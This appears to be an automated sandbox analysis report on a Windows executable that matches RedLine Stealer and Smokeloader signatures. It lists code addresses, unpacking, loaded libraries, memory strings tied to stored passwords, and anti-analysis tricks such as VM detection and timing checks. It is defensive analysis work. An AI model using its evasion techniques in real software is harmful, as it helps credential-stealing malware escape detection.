Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0042FD35	0_2_0042FD35
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0042AD82	0_2_0042AD82
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0042D658	0_2_0042D658
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00430E6C	0_2_00430E6C
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00438E28	0_2_00438E28
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0042CFBA	0_2_0042CFBA
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0041204D	0_2_0041204D
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00441057	0_2_00441057
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00415070	0_2_00415070
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00448800	0_2_00448800
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0043D8D0	0_2_0043D8D0
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0041E083	0_2_0041E083
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0044915B	0_2_0044915B
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0045D15A	0_2_0045D15A
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0041316D	0_2_0041316D
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0040112C	0_2_0040112C
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_004279E0	0_2_004279E0
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0041D1E9	0_2_0041D1E9
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_004109FC	0_2_004109FC
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0040D994	0_2_0040D994
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0044F244	0_2_0044F244
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0041AA49	0_2_0041AA49
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0041B251	0_2_0041B251
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00429A5B	0_2_00429A5B
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00410218	0_2_00410218
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00410A33	0_2_00410A33
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00414A83	0_2_00414A83
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0044234A	0_2_0044234A
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0040136E	0_2_0040136E
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00457B30	0_2_00457B30
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00428334	0_2_00428334
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0041EBEB	0_2_0041EBEB
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00415C7E	0_2_00415C7E
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00418413	0_2_00418413
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0043A4FE	0_2_0043A4FE
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00424C8D	0_2_00424C8D
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0043BCA4	0_2_0043BCA4
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00416548	0_2_00416548
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00439535	0_2_00439535
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0041764A	0_2_0041764A
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0043D600	0_2_0043D600
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_004126B9	0_2_004126B9
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00429730	0_2_00429730
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00434FAC	0_2_00434FAC
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009C908F	0_2_009C908F
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009BD8BF	0_2_009BD8BF
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009A78B1	0_2_009A78B1
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009C10D3	0_2_009C10D3
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009CD867	0_2_009CD867
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009B9997	0_2_009B9997
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009A2920	0_2_009A2920
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0099BA83	0_2_0099BA83
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009D12BE	0_2_009D12BE
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009A22B4	0_2_009A22B4
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009B9ADA	0_2_009B9ADA
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009A52D7	0_2_009A52D7
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009AE2EA	0_2_009AE2EA
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009C42E7	0_2_009C42E7
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009C5213	0_2_009C5213
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009BD221	0_2_009BD221
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009D8A67	0_2_009D8A67
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0099B390	0_2_0099B390
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0099AB8F	0_2_0099AB8F
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0099E3B5	0_2_0099E3B5
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009A33D4	0_2_009A33D4
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009ED3C1	0_2_009ED3C1
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009D93C2	0_2_009D93C2
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_0099DBFB	0_2_0099DBFB
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009C03F5	0_2_009C03F5
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009CDB37	0_2_009CDB37
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009BC341	0_2_009BC341
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009C048F	0_2_009C048F
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009AB4B8	0_2_009AB4B8
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009AACB0	0_2_009AACB0
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009DF4AB	0_2_009DF4AB
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009BF4DF	0_2_009BF4DF
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009AC4D7	0_2_009AC4D7
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009B9CC2	0_2_009B9CC2
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00996C08	0_2_00996C08
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009AFC0B	0_2_009AFC0B
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009BBC2C	0_2_009BBC2C
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009AD450	0_2_009AD450
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009B7C47	0_2_009B7C47
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009A047F	0_2_009A047F
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00996472	0_2_00996472
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009B859B	0_2_009B859B
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009D25B1	0_2_009D25B1
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009BA5D4	0_2_009BA5D4
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009CB5C9	0_2_009CB5C9
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00995D11	0_2_00995D11
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00995540	0_2_00995540
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009C6D43	0_2_009C6D43
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009B4EF4	0_2_009B4EF4
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009B9EE2	0_2_009B9EE2
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009A5EE5	0_2_009A5EE5
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009AEE52	0_2_009AEE52
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009A867A	0_2_009A867A
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009C979C	0_2_009C979C
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009A67AF	0_2_009A67AF
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009BAFE9	0_2_009BAFE9
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009CBF0B	0_2_009CBF0B
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009CA765	0_2_009CA765

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

Process token adjusted: Load Driver

Jump to behavior

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: String function: 00438E28 appears 39 times
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: String function: 0043D070 appears 51 times
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: String function: 0040E14E appears 52 times
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: String function: 0099E3B5 appears 36 times
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: String function: 004360E1 appears 144 times
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: String function: 0099A905 appears 38 times
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: String function: 009CD2D7 appears 50 times

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2052 -s 1564

Source: Vd3tOP5WSD.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.3920154401.0000000000A38000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.3919988047.0000000000990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@2/5@0/1

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

Code function: 0_2_00A3971E CreateToolhelp32Snapshot,Module32First,

0_2_00A3971E

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2052

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\49887bfa-5371-4d1b-a640-bf5fc044d4ce

Jump to behavior

Source: Vd3tOP5WSD.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

System information queried: HandleInformation

Jump to behavior

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Vd3tOP5WSD.exe, 00000000.00000003.2623583743.00000000029B0000.00000004.00000020.00020000.00000000.sdmp, Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002EDE000.00000004.00000020.00020000.00000000.sdmp, Vd3tOP5WSD.exe, 00000000.00000002.3920570857.00000000029A2000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Vd3tOP5WSD.exe

ReversingLabs: Detection: 89%

Source: unknown	Process created: C:\Users\user\Desktop\Vd3tOP5WSD.exe "C:\Users\user\Desktop\Vd3tOP5WSD.exe"
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2052 -s 1564

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Section loaded: fltlib.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Section loaded: my-global-render.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

Unpacked PE file: 0.2.Vd3tOP5WSD.exe.400000.0.unpack .text:ER;.data:W;.sic:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

Unpacked PE file: 0.2.Vd3tOP5WSD.exe.400000.0.unpack

Source: Vd3tOP5WSD.exe

Static PE information: section name: .sic

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00464074 push B000468Ch; retn 0044h	0_2_00464079
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00463CAD push esi; ret	0_2_00463CB6
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00403D6C push eax; mov dword ptr [esp], 00000000h	0_2_00403D71
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00452768 push ecx; ret	0_2_0045277B
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009E29CF push ecx; ret	0_2_009E29E2
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00993FD3 push eax; mov dword ptr [esp], 00000000h	0_2_00993FD8

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Delayed program exit found

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00401FF9 Sleep,ExitProcess,	0_2_00401FF9
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00401FF9 Sleep,ExitProcess,	0_2_00401FF9
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00992260 Sleep,ExitProcess,	0_2_00992260

Found evasive API chain (may stop execution after checking computer name)

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

Evasive API call chain: GetComputerName,DecisionNodes,ExitProcess

graph_0-73637

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_0-73712
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep			graph_0-73712

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

Code function: 0_2_00429EF7 rdtsc

0_2_00429EF7

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

Code function: 0_2_0041F9A4 GetCurrentProcessId,NtDuplicateObject,NtClose,GetProcessId,NtQuerySystemInformation,NtQuerySystemInformation,

0_2_0041F9A4

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_0-73728

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Evasive API call chain: RegQueryValue,DecisionNodes,ExitProcess	graph_0-73679
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_0-73687
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess	graph_0-73687
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Evasive API call chain: RegQueryValue,DecisionNodes,Sleep	graph_0-73679

Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00451F08 FindFirstFileExW,	0_2_00451F08
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_00451FBC FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00451FBC
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009E216F FindFirstFileExW,	0_2_009E216F
Source: C:\Users\user\Desktop\Vd3tOP5WSD.exe	Code function: 0_2_009E2223 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_009E2223

Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: Vd3tOP5WSD.exe, 00000000.00000002.3920215054.0000000000A9F000.00000004.00000020.00020000.00000000.sdmp, Vd3tOP5WSD.exe, 00000000.00000002.3920570857.0000000002940000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: Vd3tOP5WSD.exe, 00000000.00000003.2714979876.0000000002F36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
